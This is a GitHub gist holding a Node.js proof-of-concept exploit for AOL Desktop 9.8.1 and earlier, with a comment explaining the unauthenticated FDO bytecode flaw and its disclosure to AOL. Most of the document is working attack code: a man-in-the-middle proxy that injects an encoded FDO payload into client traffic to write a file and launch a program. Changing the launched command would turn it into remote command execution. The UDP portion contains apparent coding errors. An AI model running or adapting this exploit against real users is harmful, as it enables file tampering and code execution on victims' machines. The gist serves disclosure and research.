Last active
December 8, 2015 03:42
-
-
Save Wack0/c1929ab5d29c83473bd4 to your computer and use it in GitHub Desktop.
AOL Desktop <= 9.8.1 FS Read/Write via MITM, <= 9.8.0 Remote Command Execution via MITM PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
ayy-oh-lmao.js | |
AOL Desktop <= 9.8.0 File Write and Remote Command Execution via MITM | |
AOL Desktop <= 9.8.1 File Write via MITM. | |
by slipstream/RoL, between August and December 2015. | |
irc.rol.im #rol ** http://rol.im/chat/ ** twitter @TheWack0lian | |
The custom AOL protocol, includes a scripting language called FDO91 (FDO), that's compiled into a bytecode. | |
Compiled FDO makes up part of the data sent from server to client and client to server. | |
From the very first version of AOL for Windows (released in 1993) onwards, up until AOL Desktop 9.8.0 released early August, 2015, | |
some of the available FDO included some intersting opcodes. | |
First up being the File Management (fm_*) opcodes, which enable the reading from and writing to arbitrary files on disk. | |
Second up being async_exec_app (this was introduced in WAOL 2.0 from 1994), which runs the provided string operand with arguments. | |
FDO never ever got verified by the client by any means, so anyone in a man-in-the-middle position can add their own FDO, | |
in packets sent to the client, which will happily run it. | |
This proof-of-concept will create a proxy listening on all interfaces, on TCP:5190 and UDP:5190. If a vulnerable and supported | |
AOL Desktop client connects to it, then it will add FDO to a specific packet to drop a text file to disk and run notepad to | |
automatically open that text file. | |
In late August 2015, I disclosed this issue to AOL and gave them a preliminary version of this PoC you see here; (in which you | |
had to manually configure a certain setting in AOL to connect to the proxy). The following version of AOL Desktop fixed the | |
remote command execution issue, probably by removing async_exec_app. However, the fm_* opcodes still exist, and more | |
interesting FDO opcodes probably exist, and some of them might contain issues of their own; more research is needed here. | |
The betas of 9.8.2 (available right now from http://beta.aol.com/) have not been tested, so it is unknown if they still have the | |
fm_* opcodes. The currently released version is still 9.8.1 though, so... | |
In any case, running AOL Desktop is a security risk, as it interprets unauthenticated script bytecode downloaded from a remote server. | |
Do you really want that? :) | |
*/ | |
var net = require("net"); | |
var dgram = require('dgram'); | |
var readQueue = null; | |
var writeQueue = null; | |
/* ** The FDO we inject as a PoC: | |
* fm_start | |
* fm_item_type <filename> | |
* fm_item_set <"pwned.txt"> | |
* fm_item_type <path> | |
* cm_tb_get_path | |
* uni_use_last_atom_string <fm_item_set> | |
* fm_item_get <filespec> | |
* uni_use_last_atom_string <var_string_set, 01x> | |
* fm_create_file | |
* fm_open_file <01x> | |
* fm_append_data <"AOL pwned clientside through MITM...\r\nReading/writing to FS and arbitrary command execution 1993-2015 :)"> | |
* fm_flush_file | |
* fm_close_file | |
* fm_end | |
* var_string_set <A,"notepad.exe \""> | |
* var_string_concatenate_regs <A,B> | |
* var_string_set <B,"\""> | |
* var_string_concatenate_regs <A,B> | |
* var_string_get <A> | |
* uni_use_last_atom_string <async_exec_app> | |
*/ | |
var evilfdo = new Buffer( | |
"CAAACAIBBggDCXB3bmVkLnR4dAgCAQcKUwAACgIIAwgEAQgACgMMBQEIFQAIFgEBCBtoQU9MIHB3bmVkIGNsaWVudHNpZGUgdGhyb3VnaCBNSVRNLi4uDQpSZWFkaW5nL3dyaXRpbmcgdG8gRlMgYW5kIGFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbiAxOTkzLTIwMTUgOikIJwAIGgAIAQAMBQ4Abm90ZXBhZC5leGUgIgxkAgABDAUCASIMZAIAAQwJAQAACgINGQ==", | |
"base64"); | |
var parseProtocol = function(data,read) { | |
var ret = []; | |
var buf; | |
if ((read) && (readQueue != null)) { | |
buf = new Buffer(readQueue.length + data.length); | |
readQueue.copy(buf); | |
data.copy(buf,readQueue.length); | |
readQueue = null; | |
} else if (writeQueue != null) { | |
buf = new Buffer(writeQueue.length + data.length); | |
writeQueue.copy(buf); | |
data.copy(buf,writeQueue.length); | |
writeQueue = null; | |
} else buf = new Buffer(data,'ascii'); | |
while (buf.length > 0) { | |
if (buf.readInt8(0) == 0x5a) { | |
var len = buf.readUInt16BE(3) + 6; | |
if (buf.length < len) { | |
// shove it in the packetQueue and wait. | |
if (read) readQueue = buf; | |
else writeQueue = buf; | |
break; | |
} | |
if ((len == 0x25) && (read) && (buf.readUInt16BE(8) == 0x4174) && (buf.readUInt32BE(0xd) == 0x20010d25)) { | |
console.log("[+] found the async_set_screen_name FDO packet, adding our own FDO to the end of it...\n"); | |
// this is a small simple FDO stream containing just one async_set_screen_name | |
// perfect to add our evil FDO to the end of :) | |
var newbuf = new Buffer(len + evilfdo.length); | |
// get the length of the screen name string within | |
var snlen = buf.readUInt8(0x11); | |
// copy everything up to the end of the screen name | |
buf.copy(newbuf,0,0,0x12+snlen); | |
// add our fdo | |
evilfdo.copy(newbuf,0x12+snlen); | |
// add the last three bytes | |
newbuf.writeUInt16BE(0x2002,newbuf.length - 3); | |
newbuf.writeUInt8(0xd,newbuf.length - 1); | |
// fix up the header length | |
newbuf.writeUInt16BE(newbuf.length - 6,0x3); | |
// and push the new modified evil packet ;) | |
buf = buf.slice(len); | |
ret.push(newbuf); | |
continue; | |
} | |
var buf2 = new Buffer(len); | |
buf.copy(buf2,0,0,len); | |
buf = buf.slice(len); | |
ret.push(buf2); | |
} else { | |
// check for the NEWER protocol. | |
if (buf.readInt8(0) == 0x2a) { | |
var len = buf.readUInt16BE(4) + 6; | |
if (buf.length < len) { | |
// shove it in the packetQueue and wait. | |
if (read) readQueue = buf; | |
else writeQueue = buf; | |
break; | |
} | |
if ((len == 0x22) && (read) && (buf.readUInt16BE(6) == 0x4174) && (buf.readUInt32BE(0xb) == 0x20010d25)) { | |
console.log("[+] found the async_set_screen_name FDO packet, adding our own FDO to the end of it..."); | |
// this is a small simple FDO stream containing just one async_set_screen_name | |
// perfect to add our evil FDO to the end of :) | |
var newbuf = new Buffer(len + evilfdo.length); | |
// get the length of the screen name string within | |
var snlen = buf.readUInt8(0xf); | |
// copy everything up to the end of the screen name | |
buf.copy(newbuf,0,0,0x10+snlen); | |
// add our fdo | |
evilfdo.copy(newbuf,0x10+snlen); | |
// add the last two bytes | |
newbuf.writeUInt16BE(0x2002,newbuf.length - 2); | |
// fix up the header length | |
newbuf.writeUInt16BE(newbuf.length - 6,0x4); | |
// and push the new modified evil packet ;) | |
buf = buf.slice(len); | |
ret.push(newbuf); | |
continue; | |
} | |
var buf2 = new Buffer(len); | |
buf.copy(buf2,0,0,len); | |
buf = buf.slice(len); | |
ret.push(buf2); | |
} else { | |
// this is probably not needed any more now we shove the first part of a truncated FLAP packet in a queue.. | |
ret.push(buf); | |
break; | |
} | |
} | |
} | |
return ret; | |
} | |
var proxyPort = 5190; | |
var serviceHost = "americaonline.aol.com"; | |
var servicePort = 5190; | |
var server = dgram.createSocket("udp4"); | |
server.bind(proxyPort,function() { | |
var sockets = {}; | |
server.on("message",function(msg,s_rinfo) { | |
msg = parseProtocol(msg,true); | |
for (var i = 0; i < msg.length; i++) { | |
if (!sockets.hasOwnProperty(s_rinfo.address)) { | |
sockets[rinfo.address] = dgram.createSocket("udp4"); | |
sockets[rinfo.address].on("message",function(msg,rinfo) { | |
msg = parseProtocol(msg,true); | |
for (var i = 0; i < msg.length; i++) { | |
console.log("[UDP] "+s_rinfo.address+":"+s_rinfo.port+" - Read data:"+msg[i].length+" bytes"); | |
server.send(msg[i],0,msg[i].length,s_rinfo.port,s_rinfo.address); | |
proxySocket.write(data[i]); | |
} | |
}); | |
console.log("[UDP] Got connection from "+s_rinfo.address+":"+s_rinfo.port); | |
} | |
console.log("[UDP] "+s_rinfo.address+":"+s_rinfo.port+" - Write data:"+msg[i].length+" bytes"); | |
sockets[rinfo.address].send(msg[i],0,msg[i].length,servicePort,serviceHost); | |
} | |
}); | |
console.log("Created UDP proxy on 0.0.0.0:"+proxyPort); | |
}); | |
net.createServer(function (proxySocket) { | |
var connected = false; | |
var buffers = new Array(); | |
var serviceSocket = new net.Socket(); | |
console.log("[TCP] Got connection from "+proxySocket.remoteAddress+":"+proxySocket.remotePort); | |
serviceSocket.connect(servicePort, serviceHost, function() { | |
connected = true; | |
if (buffers.length > 0) { | |
for (i = 0; i < buffers.length; i++) { | |
serviceSocket.write(buffers[i]); | |
} | |
} | |
}); | |
proxySocket.on("error", function (e) { | |
console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - connection closed"); | |
serviceSocket.end(); | |
}); | |
serviceSocket.on("error", function (e) { | |
if (!connected) { | |
console.log("Could not connect to service at host " | |
+ serviceHost + ', port ' + servicePort); | |
} | |
proxySocket.end(); | |
}); | |
proxySocket.on("data", function (data) { | |
data = parseProtocol(data,false); | |
for (var i = 0; i < data.length; i++) { | |
console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - Write data:"+data[i].length+" bytes"); | |
if (connected) { | |
serviceSocket.write(data[i]); | |
} else { | |
buffers[buffers.length] = data[i]; | |
} | |
} | |
}); | |
serviceSocket.on("data", function(data) { | |
data = parseProtocol(data,true); | |
for (var i = 0; i < data.length; i++) { | |
console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - Read data:"+data[i].length+" bytes"); | |
proxySocket.write(data[i]); | |
} | |
}); | |
proxySocket.on("close", function(had_error) { | |
serviceSocket.end(); | |
}); | |
serviceSocket.on("close", function(had_error) { | |
proxySocket.end(); | |
}); | |
}).listen(proxyPort); | |
console.log("Created TCP proxy on 0.0.0.0:"+proxyPort); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
awesome